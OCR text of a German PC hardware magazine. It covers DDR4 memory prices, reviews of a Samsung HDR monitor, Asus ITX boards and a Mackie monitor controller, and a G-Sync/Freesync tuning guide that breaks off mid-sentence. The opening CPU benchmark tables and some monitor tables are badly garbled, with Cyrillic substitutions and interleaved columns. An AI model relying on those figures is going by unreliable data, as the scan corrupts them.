ACS:102 DAI:118 FC4:126 ТМЗ: 101 3DM: 9.168 72:270 ВІР: 320 yCr: 127 

mm :: 

72,5% 42,0% 

AN6:30 CR3:119 F15:69 SCH 41 FCB: 15.223 CB15:797 ALR:142 x264:129 

ACS:105 DAI:107 FC4:108 Т\\З:101 3DM: 11.083 7z: 211 BLD:247 yCr:135 

— Md 

72,3% 37,9% 

AN6:30 СЕЗ:102 F15:68 sat СВ:12.716 CB15:676 ALR:129 64:126 

ACS:100 DAI:111 FC4:117 ТМЗ: 95 3DM: 9.013 72:256 Вір: 332 уст: 130 

IN -..— 

73,9% 

AN6:39  CR3:95  F15:65 SCH 44 FCB: 11.377 CB15:567 ALR:140 x264:160 

ACS:99 РАІ: 108 FC4:125 TW3:92 3DM: 8.339 72: 279 В: 387 yCr: 176 

x  [ [ ED 

66,8 % 40,5 % 

АМ6:29 СЕЗ:104 F15:77 52:31 СВ:13.551 CB15:818 АЦА: 123 x264:126 

ACS:94 РА: 100 ЕС4:94 ТМЗ: 93 ЗОМ: 12.185 72: 283 BLD: 266 yCr: 209 

НИ Eu 

ба» 

АМ6:30 СЕЗ:102 Е15:78 — SC2:25 FCB:13.903 CB15:664 ALR:147 x264:167 

ACS:105 DAI:109 ЕС4:92 — TW3:100 30М:9892 7z:227 BLD:318 yCr:282 

AN6:29  CR3:94  F15:65 SC2: 44 FCB: 11.455 CB15:610 ALR:142 x264:139 

ACS:94 DAI103 FC4:112 TW3:89 3DM: 8.101 72: 275 Вр: 361 yCr: 143 

I Eon 

AN6:29  CR3:102 F15:69 5C2:27 3 ALR: 154 x264: 163 

ACS:100 DAI:103 ЕС4:92 — TW3:95 3DM:9.926 72:217 BLD:316 ус: 292 

— 1 

60,8 % 41,7% 

AN6:28  CR3:119 F15:64 5С2:17 FCB:18.987 CB15:822 ALR:157 x264:139 

ACS:95  DAE92 FC4:72  TW3:82 3DM: 12.349 7z: 232 BLD:243 yCr:322 

TESS 

AN6:25  CRX89 F15:59 5С2:40 FCB: 11.479 CB15:611 ALR:139 x264:139 

ACS:89 DAI:97  FC4:106  TW3:84 3DM:8.106 72: 281 Вір: 360 yCr: 142 


besser). System: 8 GiByte је Speicherkanal, Turbo und Energiesparfeatures ап; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MH 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps іп 1.280 х 720 (max. Details außer Post-Processing, Ambient Occlusion, 
AA und АЕ), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Adobe Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist 


Z. 
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Kommentar 


Erst aufrüsten, wenn die Speicherpreise 
fallen? Das kann dauern ... 


Glaubt man den Meldungen, die uns aus Ost- 
asien erreichen, wo die Chipriesen Samsung 
und Hynix sitzen, ist vor 2019 nicht mit rele- 
vanten Preisrückgängen zu rechnen. Frühestens 
übernächstes Jahr dürften die beiden größten 
DRAM-Produzenten mit neuen Fertigungsanla- 
gen deutlich mehr Speicherchips auf den Markt 
werfen als bisher. Bis dahin sieht es sogar eher 
nach einer weiteren Verknappung aus, die 
sich preislich bemerkbar machen könnte: Dem 
Marktforschungsinstitut Trendforce zufolge ist 
für 2018 mit einer um 20,6 % erhöhten Nach- 
frage, aber nur mit einer 19,6-prozentigen Stei- 
gerung des Angebots zu rechnen. Angenehm ist 
die Situation für Aktionäre, die sich zum Bei- 
spiel über ein Plus von rund 100 % bei Hynix 
und knapp 130 % bei Micron innerhalb der ver- 
gangenen 12 Monate freuen können. 


Weniger zu lachen haben Leser, die aufgrund 
der Preisentwicklung ihre Aufrüstpläne immer 
wieder verschieben. Im PCGHX-Forum habe 
ich in den vergangenen Monaten von vielen 
Community-Mitgliedern gehört, die eigent- 
lich gerne von ihrer noch mit DDR3-Speicher 
ausgestatteten Plattform etwa auf Ryzen oder 
Coffee Lake wechseln möchten, aufgrund der 
DDR4-Preise aber zögern. Die müssen sich nun 
entscheiden: Beißen sie in den sauren Apfel und 
greifen zu erhöhten Preisen zu oder warten und 
hoffen sie weiter? Da für das kommende Jahr 
wie erwähnt nicht mit günstigeren DDR4-Mo- 
dulen zu rechnen ist, könnte sich das vielleicht 
rächen. Ob die Preise 2019 tatsächlich deutlich 
unter das aktuelle Niveau sinken, steht schließ- 
lich auch noch nicht fest. Dagegen kann man 
heute bereits davon ausgehen, dass 2018 er- 
scheinende Spiele mehr Arbeitsspeicher und 
Rechenleistung benötigen — im Konsolenmarkt 
gibt schon einmal die Xbox One X mit 12 GiByte 
GDDR5-Speicher die Richtung vor. 
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Endlich Freesync 2 und HDR 


Die beiden Modelle der HG70-Serie von Samsung 
sollen die weltweit ersten Quantum-Dot-Monito- 
re mit HDR-Unterstützung sein. 


amsung hat interessante neue Modelle im 
e aber leider sitzt der Hersteller auf 
seinen Testgeräten wie die Henne auf dem Ei. 
Daher hat uns dankenswerterweise der Einzel- 
händler Cyberport den C32HG70 zur Verfügung 
gestellt. VA-Panels, erst recht solche mit Quan- 
tum-Dot-Technik, begeistern stets mit einem 
beeindruckenden Kontrast. Zusammen mit der 
WOHD-Auflösung und der Krümmung liefern 
diese knackige Farben, was auch unsere Messung 
bestätigt: Mit einem Delta-E-Wert von 3,0 sind 
Farbabweichungen erfreulich niedrig. Wir mes- 
sen aber „nur“ einen Kontrast von max. 2.200:1 
statt der Datenblattangabe 3.000:1. Samsung 
schreibt dort auch etwas von einer Helligkeit 
bis zu 600 cd/m2, die für eine HDR-Wiedergabe 
auch benötigt wird - wir können aber maximal 
400 са/т? messen. Nichtsdestotrotz allesamt 
ausgezeichnete Werte, ebenso wie der niedrige 
Input Lag über 10,8 ms und die durchschnittli- 
che Reaktionszeit von nur 4,8 ms. Die Bildwie- 
derholrate beläuft sich zwar auf maximal 144 Hz, 


jedoch funktioniert Freesync lediglich zwischen 
80 und 120 Hz. Die untere Grenze ist daher viel 
zu niedrig, es bräuchte schon eine potente AMD- 
Karte oder ältere Spiele für entsprechende FPS- 
Raten. Samsung bewirbt den Monitor außerdem 
mit „flicker free“, wir konnten aber zweifelsfrei 
eine PWM-Frequenz zur Helligkeitsregulierung 
von 340 Hz feststellen. Außerdem konnten wir 
bislang in keinem Spiel HDR aktivieren - dem 
gehen wir noch bis zum nächsten Heft auf den 
Grund. (mc) 


Samsung C32HG70 


Fazit: Herausragende Bildqualität, aber viel zu knappe 
Freesync-Reichweite und definitiv nicht „flicker free". Das 
trübt etwas die High-End-Begeisterung beim ansonsten 
guten Monitor. 


Hersteller: Samsung 
Web: www.samsung.de 
Preis: Ca. € 715,- | Preis-Leistung: befriedigend 


© Ausstattung 1,53 
+ Eigenschaften | 2,21 
e Leistung 1,41 
PCGH-Preisvergleich www.pcgh.de/preis/1620985 
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Neue Asus-ITX-Boards für AMA 


Asus plant die Markteinführung seiner ersten 
beiden Mini-ITX-Mainboards mit Sockel AM4 für 
AMDs Ryzen-CPUs. Grundsätzlich sind die Main- 
boards identisch. Der Aufbau ist interessant ge- 
staltet, indem die Sound-Lósung auf ein zweites 
horizontal positioniertes PCB verlagert wird. Das 
ROG Strix X370-I Gaming und ROG Strix B350-I Ga- 
ming sollen ab Ende Oktober verfügbar sein.. 


achdem Asrock, Biostar und Gigabyte ihre 
N ersten Mini-ITX-Mainboards mit AMDs So- 
ckel AMÁ für AMD Ryzen bereits auf den Markt 
gebracht haben, folgt bald auch Asus. Die ersten 
Ableger im kleinen Formfaktor sollen der ROG- 
Strix-Serie entstammen und somit der gehobe- 
nen Mittelklasse angehóren. Der schwedische 
Händler inet.se zeigt das erste Bildmaterial und 
nennt die groben Spezifikationen. Die Marktein- 
führung soll laut Asus Ende Oktober stattfinden, 
wobei die Preise noch unbekannt sind. 


Wie schon bei den anderen Herstellern sind die 
X370- und B350-Versionen komplett identisch, 


wie die von Asus zur Verfü- 
gung gestellten Datenblätter 
beweisen. Das X370-Modell 
wird aus produktpolitischen 
Gründen veróffentlicht. Be- 
merkenswert ist die Konstruk- 
tion. Weil der Bereich der 
Spannungswandler recht viel 
Platz beansprucht, fällt das 
I/O-Panel überschaubar aus. 
Zwei USB-3.1-Typ-A-Anschlüsse 
hángen am B350-Chipsatz, da- 
neben gibt es 4 x USB 3.0 Typ 
A, Intel-Gigabit-Ethernet und 
ac-WLAN als M.2-E-Key-Hoch- 
kantkarte. Die Platine wurde 
darüber bis zum Rand 
Chips bestückt, sodass keine zu- 


mit 


sätzlichen USB-Anschlüsse oder 
Bildausgänge untergebracht wer- 
den kónnen. Wer eine APU einsetzt, 

braucht eine dedizierte Grafikkarte - in diesem 
Preisbereich sollte das kein Problem darstellen. 


Die Supremefx-S1220A-Soundlösung auf Basis 
von Realteks ALC1220 verlagert Asus auf eine 
Tochterplatine, die sich horizontal über dem 
PEG-x16-Steckplatz befindet. Offenbar sitzt da- 
runter der X370- beziehungsweise B350-Chip- 
satz. Ebenfalls auf der Zusatzplatine scheint 
eine M.2-SSD mit PCI-Express-3.0-x4-Anbindung 


Mackie Big Knob Passive 


Der Big Knob Passive ist ein Controller für Studio- 
Monitore und außerdem eine elegante Lösung, um 
die Profi-Lautsprecher mit dem PC zu verbinden. 


n vergangenen Ausgaben haben wir uns häu- 

figer mit sogenannten Studio-Lautsprechern 
beschäftigt. Diese sind primär für den Einsatz 
in Tonstudios gedacht, machen aufgrund ihrer 
zumeist kompakten Ausmaße, ihres breiten Ab- 
strahlverhaltens und ihrer ausgewogenen Klang- 
eigenschaften auch als PC-Lautsprecher eine gute 
Figur. Allerdings stehen Sie eventuell vor einem 
lästigen Problem: Im Normalfall verfügen Stu- 
diomonitore nicht über PC-komforme Anschlüs- 
se, sondern setzen auf symmetrische XLR- und/ 
oder TRS-Anschlüsse. Um die Lautsprecher mit 
dem PC zu verbinden, sind daher im Regelfall 


620 W / 520 W / 430 W 


>- 
lc 


| 
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N wana 


SEASONIC QUALITÄT ZUM EINSTIEGSPREIS! 


umständliche Lösungen mit diversen Adapterka- 
beln nötig. Zudem verfügen Studioboxen häufig 
über einen dedizierten Verstärker pro Seite und 
damit auch über gesonderte Lautstärkeregler, die 
jeweils penibel austariert werden wollen. 


Für beide Umstände bietet Mackie mit dem Big 
Knob Passive eine elegante Lösung: Per regulärer 
3,5-mm-Klinke mit dem PC verbunden, können 
Sie via TRS-Klinke (6,3 mm) bis zu zwei (aktiv 
verstärkte) Boxenpaare anschließen und bequem 
über den zentralen Regler steuern. Zudem ver- 
fügt der passive Controller über einen Mute-, 
Dim-Schalter sowie eine Ein- und Ausgangswahl. 
Qualitativ ist am Big Knob kaum etwas zu bemän- 
geln, sowohl Verarbeitung als auch Audio sind 
sauber, der Preis von rund 80 Euro sehr fair. (pr) 


ihren Platz unter einer Kühlplatte zu finden. 
Knapp könnte der Platz für Grafikkarten mit 
Backplates werden. Das ROG Strix X370-I Ga- 
ming und ROG Strix B350-I Gaming haben 
einen zweiten M.2-M-Key-Steckplatz, der vom 


Chipsatz mit vier PCI-E-2.0-Lanes versorgt wird 
und unten auf der Rückseite sitzen dürfte. Die 
Spezifikationen nennen in beiden Fällen zum 
ersten Mal eine Unterstützung für DDR4-3600- 
(mm) 


RAM. 


Big Knob Passive 


Fazit: Der Big Knob Passive ist nichts für jedermann, für den 
Einsatzzweck „Studiomonitore am PC" aber bestens geeig- 
net. Die Bedienung ist praktisch, die Soundqualität nicht zu 
bemängeln und die Verarbeitung sauber — klare Empfehlung. 


Hersteller: Mackie 
Web: mackie.com 
Preis: Ca. € 80,- | Preis-Leistung: Sehr gut 


PCGH-Preisvergleich www.pcgh.de/preis/1565608 
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INFRASTRUKTUR | G-Sync-/Freesync-Tuning 


Lag- und rissfrei spielen 


Die beiden Techniken der variablen Bildsynchronisation, Freesync und G-Sync, versprechen einen 


Spielgenuss ohne Risse oder Bildverzögerungen. Etwas Tuning ist dennoch nötig. 


ie Technik der variablen Bild- 
E) usps ist schon fast 
ein alter Hut, der als G-Sync von 
Nvidia bzw. Freesync von AMD 
quasi unverändert schon mehre- 
re Jahre auf dem Markt ist. Es sind 
andere Merkmale am Monitor, die 
sich ändern: Sie werden langsam 
aber sicher immer hochauflösen- 
der und hochfrequenter. Dennoch 
sind in Auflösungen ab UHD, also 
3.840 x 2.160 Pixel, noch immer 
60 Hertz das höchste der Gefühle 
und im Hochfrequenzsegment bei 
mittlerweile 240 Hertz an Bildwie- 
derholrate ist man noch nicht über 
die altbackene Full-HD-Auflösung 
hinausgekommen. An beiden Fron- 
ten soll sich erst nächstes Jahr et- 
was tun - aber angekündigt wird 
ja viel. Die ersten UHD-Geräte mit 
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144 Hertz wurden schon vor einem 
Jahr vorgestellt. Und mit WQHD- 
Auflósung und 240 Hz ist gerade 
mal ein Panel bekannt geworden 
- wer weiß, wann sich ein Herstel- 
ler dazu bequemt, einen Monitor 
damit zu bauen. Oder erst recht, 
wann diese Superlative an Monito- 
ren bezahlbare Dimensionen für 
Normalsterbliche erreichen. Aktu- 
ell gibt es jedenfalls keinen Grund, 
wegen irgendeiner neuen Technik 
mit dem Monitorkauf zu warten. Ja, 
auch nicht für Freesync 2 oder G- 
Sync HDR. Aber was war das noch- 
mal? 


Lagfreies HDR 

Der Januar dieses Jahres ist nun 
auch schon etwas her, als im Rah- 
men der CES die beiden Nachfol- 


getechniken von Free- und G-Sync 
angekündigt wurden. AMD stell- 
te Freesync 2 vor und Nvidia das 
Pendant G-Sync HDR. Dabei haben 
die beiden Grafikchiphersteller 
lediglich die HDR-Ausgabe hinzu- 
gefügt, sodass der Monitor nach 
der Grafikkarte kein eigenes Tone 
Mapping, also eine Änderung des 
Kontrastumfangs, durchführt. Das 
soll den Input Lag reduzieren, der 
wegen zweifachen Tone Mappings 
eines farben- und kontrastreichen 
HDR-Bildes auftritt. 


Wie auch schon in den ersten 
beiden Versionen der variablen 
Bildwiederholrate sind beide Tech- 
niken zwar prinzipiell gleich, sie 
unterscheiden sich aber dennoch 
in einigen Details. Bei Freesync 2 


handelt es sich weniger um eine 
neuentwickelte Nachfolgetechnik 
von Freesync, sondern mehr um 
eine HDR-Erweiterung. Beide sind 
offene Standards und basieren auf 
der von der VESA eingeführten 
Adaptive-Sync-Technik. Das hat den 
Vorteil, dass die Monitorhersteller 
ihn kostenlos verwenden kónnen, 
die Technik den Monitor also nicht 
teurer macht. Ganz im Gegenteil 
zu G-Sync: Hierbei handelt es sich 
um einen Nvidia-Scaler - der GPU- 
Marktführer verkauft den Monitor- 
herstellern also gleich die gesamte 
Steuerelektronik für den Monitor, 
was sich deutlich auf den Preis aus- 
wirkt: Es gibt ansonsten identische 
Zwillingsmodelle als Freesync- und 
als G-Sync-Version, wobei letzte- 
re gut bis zu 150 Euro teurer sein 
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kann als das AMD-kompatible Pen- 
dant. 


Für G-Sync HDR hat Nvidia gleich 
ganze Panels zusammen mit AU 
Optronics entwickelt, damit ist die 
Technik wieder proprietär und 
exklusiv - die Preise der ersten an- 
gekündigten Monitore waren astro- 
nomisch. Dafür läuft einem beim 
Datenblatt das Wasser im Mund 
zusammen: UHD-Auflösung bei 
144 Hertz und lokal dimmbare Hin- 
tergrundbeleuchtung, die bis zu 
1.000 cd/m2 leuchtet. Damit sind 
entsprechende Monitore den aktu- 
ell bekannten Freesync-2-Modellen 
technisch klar überlegen. 


re Grenze 

Se Ken technische Vor- 
teile bieten die meisten G-Sync- 
Monitore dann doch: Die minimale 
Bildwiederholrate beträgt bei der 
Nvidia-Technik immer 30 Hertz, 
während viele Freesync-Modelle 
oft erst ab 48 Hertz die Frequenz an 
die Bildrate der Grafikkarte anpas- 
sen. Unterschreitet die Bildrate in 
einigen Spitzen diese Grenze, ver- 
doppelt G-Sync einfach die Bildwie- 
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derholfrequenz und scannt einen 
Frame damit zweimal, bei 25 Fps 
beträgt die Frequenz also 50 Hertz. 
Anfangs hatten die ersten Freesync- 
Monitore eine „harte“ untere Gren- 
ze, ab der man entweder Bildrisse 
in Kauf nehmen musste, oder auf 
Vsync zurückgreifen musste und 
den damit verbundenen Input Lag 
zu spüren bekam. AMD hat bereits 
mit Low Framerate Compensation 
(LFC) nachgerüstet und bietet da- 
mit dasselbe Frame Doubling, wie 
es Nvidia nennt, bei Freesync-Moni- 
toren an, deren Bildwiederholrate 
mindestens doppelt so hoch ist wie 
die untere Freesync-Grenze. 


(Ultra) Low Motion Blur 

Ultra Low Motion Blur nennt Nvi- 
dia die Technik der flackernden 
Hintergrundbeleuchtung, welche 
Schlieren bei Bewegung drastisch 
Die  Hintergrundbe- 
leuchtung flackert dabei mit dop- 
pelter Bildfrequenz. Diese Tech- 
nik ist nicht unbedingt neu, Benq 
nennt sie etwa Dynamic Accuracy 
(DyAc), früher wurde sie auch 
Lightboost oder Black Frame Inser- 
tion genannt. Leider funktioniert 


reduziert. 


Unterschiede Bild 


Syl nci h ron 


„Vsync off”: Keine Synchronisation zwischen Grafikkarte und Monitor 


.. Keine Eingabeverzögerung (Input Lag), die durch Zwischenspeicherung 


der Frames bei Vsync bedingt ist. 


.. Deutlich sichtbare Bildrisse, die nicht nur optisch, sondern auch den 


Spielverlauf stóren. 


Vsync: Bildrate der GPU wird mit Monitorfrequenz synchronisiert 


.. Keine Bildrisse mehr und Grafikkarte läuft wegen fester Bildrate 


sparsamer und leiser. 


.. Bildpufferung erzeugt ein Input Lag. Bei Double Buffering halbiert sich die 


Bildrate, wenn sie die Monitorfrequenz nicht erreicht. 


Frame Limit: Bildrate der GPU wird auf Monitorfrequenz begrenzt 


.. Wie bei Vsync làuft die Grafikkarte sparsamer und leiser. Die Bilder 


werden aber lagfrei ausgegeben. 


.. Tearing wird dadurch nicht verhindert, da hier wie bei „Vsync off" 


Grafikkarte und 


onitor asynchron laufen. 


G-Sync/Freesync: Monitorfrequenz wird mit Bildrate synchronisiert 


.. Alle Vorteile beider Welten: Kein Bildriss und kein Input Lag. Zudem muss 


die Bildrate nich 


beschránkt werden. 


onitor und GPU müssen kompatibel sein bzw. neu angeschafft werden. 
Die variable Frequenz funktioniert nur in einem bestimmten Fps-Intervall. 


Fastsync/Enhanced Sync: Nicht benótigte Frames werden verworfen 


sie nur mit statischer Bildwieder- 
holrate, also nicht mit aktiviertem 
G-Sync, die aufserdem meist etwas 
unter der maximal móglichen Fre- 
quenz liegt. 144-Hertz-Monitore 
etwa aktualisieren mit ULMB „nur“ 
mit 120 Hertz. Die Technik ist eine 
Alternative zur Bildsynchronisie- 
rung, wenn es etwa in Multiplayer- 


Liefert ein fast rissfreies Bild und fast keinen Input Lag, und funktioniert 
im Gegensatz zu Free- und G-Sync mit jedem Monito. 

Ein Kompromiss zwischen VSync aus und an, der sich nur lohnt, wenn die 
Fps das Vielfache der Hz betragen, da sonst Mikroruckler auftreten. 


Shootern auf jede Millisekunde an 
eingespartem Input Lag ankommt 
und man die (extrem hohe) Frame- 
rate nicht begrenzen möchte. Mit 
G- bzw. Freesync ist der Lag zwar 
niedrig, viel niedriger als bei Vsync, 
ohne Synchronisierung ist er aber 
noch immer am niedrigsten. Eine 
Low-Motion-Blur-Technik fehlte 


Ohne Bildsynchronisation ist der Spielgenuss von unschónen, flackernden Bildrissen 
getrübt. G-Sync und Freesync lösen das ohne nennenswerten Input Lag. 
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Vorteil variabler Synchronisation 


Die herkömmliche Synchronisation zwischen Grafikkarte und LCD kann 
zu Bildrissen (Tearing) und Ruckeln (Lag) führen. 


Das obere Bild zeigt, wie Tearing (ZerreiBen des Bildes) mit abgeschaltetem 
V-Sync entsteht. Jedes Mal, wenn das Bild ans LCD übertragen wird, bevor der 
Refresh-Vorgang abgeschlossen ist, zerreißt das Bild. Darunter sehen Sie, wie 
durch ein Timing-Problem mit V-Sync Bilder zu spät ausgegeben werden können. 
m unteren Bild ist anschaulich dargestellt, wie diese beiden Probleme durch eine 
variable Synchronisation gelöst werden können. 


Frame Frame Frame 
GPU i 


Ruckler 


Zeit 


Variable Syn- 
chronisation 
reduziert Lags. 


Dauer eines Monitor-Scans 


Oft ist von einem Frame Verzógerung die Rede. Wie lang diese ist, 
bestimmt die Bildwiederholrate. 


e hóher die Bildwiederholrate, desto geringer ist grundsátzlich der Input Lag. Die 
Hertz beschreiben die Geschwindigkeit, wie schnell der Monitor ein Bild über alle 
Pixel hinweg aufbaut. Zwischen 60 Hz und 144 Hz ist diese Dauer schon deutlich 
sichtbar. Eine zu hohe Bildwiederholrate gibt es für den Gamer nicht. 


60 Hz, 16,6 ms 

100 Hz, 10 ms (-49%) 
E 120 Hz, 8,3 ms (-18%) 
144 Hz, 6,9 ms (-18%) 
E 200 Hz, 5 ms (-32%) 
E 240 Hz, 4,2 ms (-17%) 


< Scanout Time ——— ——— 
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bislang vielen Freesync-Monitoren. 
Was Nvidia mit dem G-Sync-Modul 
bereits flàchendeckend verbreitet, 
rüsten jetzt aber immer mehr Mo- 
nitorhersteller bei ihren Radeon- 
kompatiblen Monitoren nach. 


Einen großen Nachteil haben beide 
Techniken der variablen Bildsyn- 
chronisation gemein: Sie sind nicht 
untereinander kompatibel. Eine 
Nvidia-Grafikkarte benötigt also 
einen Monitor mit G-Sync und eine 
von AMD einen mit Freesync. Einen 
Monitor, der beide Techniken un- 
terstützt, gibt es nicht und wird es 
aller Wahrscheinlichkeit auch nicht 
geben. Man muss sich also mit dem 
Monitor einer der beiden GPU-Re- 
ligionen verschreiben. Ein Monitor 
überlebt gut und gerne mehrere 
Grafikkarten-Generationen. Ihn 
behält man deutlich länger als die 
schnell schwächelnde GPU. 


Auf Knopfdruck variable 
Bildwiederholrate 

Sowohl im Nvidia Control Panel als 
auch in der Radeon-Software ist es 
nur ein Klick, der G- bzw. Freesync 
aktiviert. Das gaukelt dem naiven 
Gamer vor, dass das Bild in Spielen 
anschließend vollkommen frei von 
Bildrissen ist, so wie es mit dem 
einfachen Vsync-Schalter der Fall 
ist. Nur leider klappt das in der 
Praxis selten so einfach. Alle für 
die dynamische Bildwiederholrate 
relevanten Funktionen, wie etwa 
Vsync, Fast- bzw. Enhanced Sync 
oder ein Frame Limit müssen erst 
mühsam in den Menüs gesucht 
werden oder sind erst gar nicht vor- 
handen. Wer etwa Fastsync nutzen 
möchte, findet die Funktion in den 
3D-Einstellungen im Drop-Down- 
Menü „vertikale Synchronisation“ 
im Punkt „schnell“. Immerhin ist 
darunter jeder Menüpunkt ausführ- 
lich erklärt. 


Es ist also kein seltenes Szenario, 
dass trotz aktiviertem Free- bzw. G- 
Sync Bildrisse auftreten. Das kann 
mehrere Gründe haben: Wenn die 
Bildrate der Grafikkarte stets die 
maximale Bildwiederholrate über- 
steigt, läuft sie so, als wäre die va- 
riable Bildfrequenz nicht aktiv. Der 
Zustand wird auch „Vsync off“ ge- 
nannt - ohne irgendeine Synchro- 
nisation wird das Bild lagfrei aber 
zerrissen wiedergegeben. Wenn 
die Bildrate unter die minimale 
Bildwiederholrate fällt, wird das 


meist mit Frame Doubling (oder 
Trippling) kompensiert, wie im Ab- 
satz über die „Sanfte untere Gren- 
ze“ beschrieben. Treten etwa nur 
manchmal Bildrisse auf, spricht 
das für eine stark schwankende 
Bildrate, die nach oben und/oder 
unten stellenweise ausreißt. Das 
kann etwa an zu schwacher oder 
falsch konfigurierter Hardware lie- 
gen, einem schlecht eingestellten 
oder schlecht unterstützten SLI- 
bzw. Crossfire-Setup, um nur einige 
Gründe dafür zu nennen. 


Wer VRR aktiviert, möchte aber 
ein riss- und lagfreies Bild - eben 
das, was die Technik verspricht. 
Falls die zu hohe Bildrate nicht 
innerhalb des Intervalls der dyna- 
mischen Bildwiederholrate des 
Monitors liegt, müssen der GPU 
manuelle Schranken gesetzt wer- 
den. Die Bildrate lässt sich am ein- 
fachsten mit einem Frame Limit 
begrenzen. Versierte Tuner kön- 
nen sich aber auch einem Under- 
clocking oder Undervolting bedie- 
nen. Es gibt viele Möglichkeiten, 
die Bildrate zu senken, was außer- 
dem den Vorteil hat, dass die Gra- 
fikkarte nicht stets am Maximum 
rechnet, somit kühler, sparsamer 
und auch leiser läuft. 


Vsync zusätzlich anschalten 
Wie bitte? Da schafft man sich ein 
G-Sync- bzw. Freesync-Monitor an, 
um nicht mehr auf das verzöge- 
rungsanfällige Vsync zurückgreifen 
zu müssen, dann soll man es trotz- 
dem anschalten? VRR und Vsync 
schließen sich nicht gegenseitig 
aus - im Gegenteil - sie ergänzen 
sich: Übersteigt die Bildrate die 
obere VRR-Grenze, kommt nicht 
etwa Vsync alternativ zu G- bzw. 
Freesync zum Einsatz. Vielmehr 
wird dadurch sichergestellt, dass es 
etwa bei Spitzen in der Framerate 
nicht doch zum Tearing kommt. 
Vsync sorgt dafür, dass die Bildra- 
te die maximale Bildfrequenz des 
Monitors nicht übersteigt, damit 
das nächste Bild erst vom Monitor 
gescannt wird, wenn der vorherige 
Scanvorgang abgeschlossen ist. Das 
aktivierte Vsync funktioniert hier 
also wie ein Frame Limit auf den 
Wert der Bildwiederholrate. In der 
Theorie müsste damit alles perfekt 
funktionieren, wenn also beispiels- 
weise die GPU konstant 144 Frames 
liefert und die Bildwiederholrate 
synchron mit 144 Hz läuft. Idealer- 
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weise dauert die Berechnung der * 5 
GPU, also die Frametime, genauso Beliebte Freesync-Monitore 


lange wie der Bildscan des Moni- 


tors. ViewSonic XG2530 24,5 Zoll 1.920 x 1.080 
AOC Agon AG251FZ 24,5 Zoll 1.920 x 1.080 
AOC G2460PF 24 zoll 1.920 x 1.080 


LG 34UC79G-B 34 Zoll 2.560 x 1.080 
In der Praxis kann es aber trotzdem liyama GB2760QSU 27 Zoll 2.560 x 1.440 
zu leichten Schwankungen seitens ASUS MG279Q 27 Zoll 2.560 x 1.440 
der GPU kommen, was zu Rucklern Acer XF270HUA 27 Zoll 2.560 x 1.440 
führt und damit auch zu einem hö- HP Pavilion 32 32 Zoll 2.560 x 1.440 
heren Input Lag. Deswegen wird amsung 590D 28 Zoll 3.840 x 2.160 


das Frame Limit etwas unterhalb LG 27UD58-B 2770 3.840 x 2.160 


der (maximalen) Frequenz gesetzt. 


Die geschätzten Kollegen von Blur- 
busters haben zum Verhalten des 
Input Lags umfangreiche Messun- 
gen mit einer Highspeed-Kamera | Größe | Auflösung | 
о Hie un us "7 [Dell Alienware AW2518H 24,5 Zoll 1.920 x 1.080 240 Hz 600 € 
| = no we : ee TT [Acer Predator XB272b 27 Zoll 1.920 x 1.080 240 Hz 550 € 
esen sine: ет DCSCOTHD WIE ` | Acer Predator XB271HUA 27 Zoll 2.560 x 1.440 165 Hz 570€ 
uns auf die Ergebnisse. Die Un- 
T | AOC Agon AG2710G 27 zoll 2.560 x 1.440 165 Hz 700 € 
tersuchung hat ergeben, dass ein 
Se HP Отеп 27 27 zoll 2.560 x 1.440 165 Hz 800 € 
Limit von zwei Frames unterhalb 
к ViewSonic XG2703-GS 27 zoll 2.560 x 1.440 165 Hz 800 € 
der G-Sync-Obergrenze ausreicht 
was; „| Lenovo Y27g 27 zoll 1.920 x 1.080 144 Hz 380 € 
und den niedrigsten Input Lag mit : 
aktiver Synchronisation bietet. Ein |LG Electronics 34UC896-B 34 201 2.560 x 1.080 144 Hz 800 € E 
noch niedrigeres Limit wáre unnó- Dell — 27 Zoll 2.560 x 1.440 144 Hz 580 € © 
tig und bietet keine Vorteile. ASUS ROG Swift PG348Q 34 Zoll 3.440 x 1.440 100 Hz 1.080 € 
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Auswirkungen auf den Input Lag 


+ 300 FPS 


G-SYNC 
+ V-SYNC (NVCP) 


Limit 


+ 144 FPS 


G-SYNC 
+ V-SYNC (NVCP) 


Limit 


+ 143 FPS 


G-SYNC 
+ V-SYNC (NVCP) 


Limit 


4 142 FPS 


G-SYNC 
+ V-SYNC (NVCP) 


Limit 


+ 134 FPS 


G-SYNC 
+ V-SYNC (NVCP) 


Limit 


4 142 FPS 


G-SYNC 
+ V-SYNC ,Off" 


Limit 


4 142 FPS 


G-SYNC 
+ Fast Sync 


Limit 


+ 300 FPS 


Fast Sync 


Limit 


+ 142 FPS 


Fast Sync 


Limit 


+ 142 FPS 


V-SYNC OFF 
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System: Overwatch mit Ingame Fps Limiter, Monitor: Acer XB252Q @ max. 144 Hz, NVCP = Nvidia Control 
Panel, Quelle, System und Messmethode: blurbusters.com/gsync101 Bemerkungen: Über der G-Sync-Ober- 
grenze sorgt Vsync für ein Input Lag. Es empfiehlt sich daher ein Framelimit 2 Fps unterhalb der Grenze. 


Zusätzlicher Lag mit externem Frame Limiter 


G-SYNC 
+ V-SYNC (NVCP) 
+ 142 In-game FPS Limit 


G-SYNC 
+ V-SYNC (NVCP) 
+ 142 RTSS FPS Limit 


G-SYNC 
+ V-SYNC (NVCP) 
+ 142 NVI v1 FPS Limit 


V-SYNC (NVCP) 
+ 142 In-game 
FPS Limit 


V-SYNC (NVCP) 
+ 142 RTSS 
FPS Limit 


V-SYNC (NVCP) 
* 142 NVI v1 
FPS Limit 


V-SYNC OFF 
+ 142 In-game 
FPS Limit 


V-SYNC OFF 
+ 142 RTSS 
FPS Limit 


V-SYNC OFF 
* 142 NVI v1 
FPS Limit 
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System: Overwatch, Monitor: Acer XB252Q @ max. 144 Hz, NVCP = Nvidia Control Panel, RTSS: Riva Tuner 
Statistics Server, NVI: Nvidia Inspector, Quelle und Messmethode: blurbusters.com/gsync101 Bemerkungen: 
Unabhängig von der Synchronisation fügt das Fps-Limit des Nvidia Inspectors gut zwei Frames Lag hinzu. 
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Fastsync statt Vsync? 

In der Theorie bietet Fastsync (Nvi- 
dia) bzw. Enhanced Sync (AMD) 
einen Kompromiss aus dem asyn- 
chronen Tearing und dem konven- 
